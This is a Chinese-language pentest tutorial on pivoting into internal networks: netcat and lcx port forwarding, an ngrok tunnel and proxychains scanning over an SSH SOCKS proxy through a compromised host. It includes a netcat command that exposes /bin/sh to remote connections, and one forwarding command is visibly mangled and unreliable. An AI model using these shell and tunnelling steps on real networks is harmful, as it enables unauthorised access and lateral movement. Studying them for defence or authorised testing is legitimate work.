目录:lcx端口反向转发、搭建ngrok内网穿透转发端口、proxychains扫描内网主机
叙述:
有时候我们常常会在**的时候,碰到一个内网环境。有一些端口是只有内部才能够访问到的,那么,我们为了访问到这个端口,就需要对端口进行转发。。。
当然,这有一个前提:内网的主机能够与外网相连接-------&
bugfor首发:槿华*&
当然,如果碰到内网主机无法访问外网的情况,咱们就使用“proxychains扫描内网主机”,稍后也会描述这个方法

0x0 环境

内网:180.101.148.103
内网主机A(web服务器):172.19.0.3 他把80端口通过路由映射到外网
内网主机B(linux):172.19.0.2 他把端口22通过路由映射到外网
内网主机C(linux):172.19.0.1
***机服务器:49.233.160.31
内网安全:03.对内网主机的端口进行探测_第1张图片

0x1 netcat、lcx端口反向转发

需要用到的东西:netcat工具、lcx工具、一台远程服务器
前提:内网的主机能够与外网相连接
**·linux主机映射shell窗口到*机服务器(使用netcat)
远程服务器开启一个nc:

nc.exe -n -vv -l -p 8888     #开启nc监听8888端口

内网安全:03.对内网主机的端口进行探测_第2张图片
内网主机反弹shell到 远程服务器的8888端口:

nc -l -p 8888 -t -e /bin/sh

内网安全:03.对内网主机的端口进行探测_第3张图片
**·linux主机映射内网端口窗口到*机服务器(使用netcat+lcx)
远程服务器开启一个lcx:

lcx.exe -listen 8888 8989     #监听8888端口,然后开启8989端口

内网主机8009端口到 远程服务器的8888端口:

netcat -l 8009 0backpipe   #将内网的8009端口 反弹到 远程服务器的8888端口

说明:这个时候你就可以在你的***机访问/扫描127.0.0.1:8989了,扫描即是扫描内网的8009
内网安全:03.对内网主机的端口进行探测_第4张图片

·windows方法
同上,你只需要上传nc、lcx即可,唯一不同的是上传的文件不一样。。。

0x2 ngrok内网穿透转发端口

需要用到的东西:ngrok、一台远程服务器、可正常使用的域名(port.ngrok.xyz)
前提:内网的主机能够与外网相连接
·使用ngrok映射内网端口到域名
上传ngrok,然后执行以下命令:

./ngrok -subdomain demo -config ./ngrok.cfg -proto=tcp 1231     #将本地的1231端口映射到域名

你也可以通过修改配置文件来执行,映射端口1231:

server_addr: "port.ngrok.xyz:4443"
trust_host_root_certs: false

tunnels:
    demo:
        remote_port: 50000
        proto:
            tcp: 1231

然后执行命令即可:

./ngrok -config ./ngrok.cfg start demo    ##将本地的1231端口映射到域名port.ngrok.xyz:50000

你访问域名port.ngrok.xyz:50000 即是访问内网的1231端口了

0x3 proxychains扫描内网主机

前提:内网的主机无法与外网相连接,仅能通过内网主机访问;一台可控的内网linux主机
需要用到的东西:
①拿到权限的内网主机B(linux)--172.19.0.2
②目标:内网主机C(linux)--172.19.0.1

·使用kali扫描目标服务器

sudo apt install proxychains    #安装
vi  /etc/ssh/sshd_config   #修改配置文件,如下

AllowTcpForwarding yes
GatewayPorts yes~~

sudo apt install lrzsz
ssh -i  AD-Learning.pem [email protected] -D 8888    #连接内网主机B(端口22映射了的),然后kali在本地开启一个8888端口监听
vi /etc/proxychains.conf    #修改配置文件,如下:

socks5 127.0.0.1 8888

好了,到了这一步就配置完成了,这样你就可以扫描内网主机C了:

proxychains nmap -p88 172.19.0.1 -n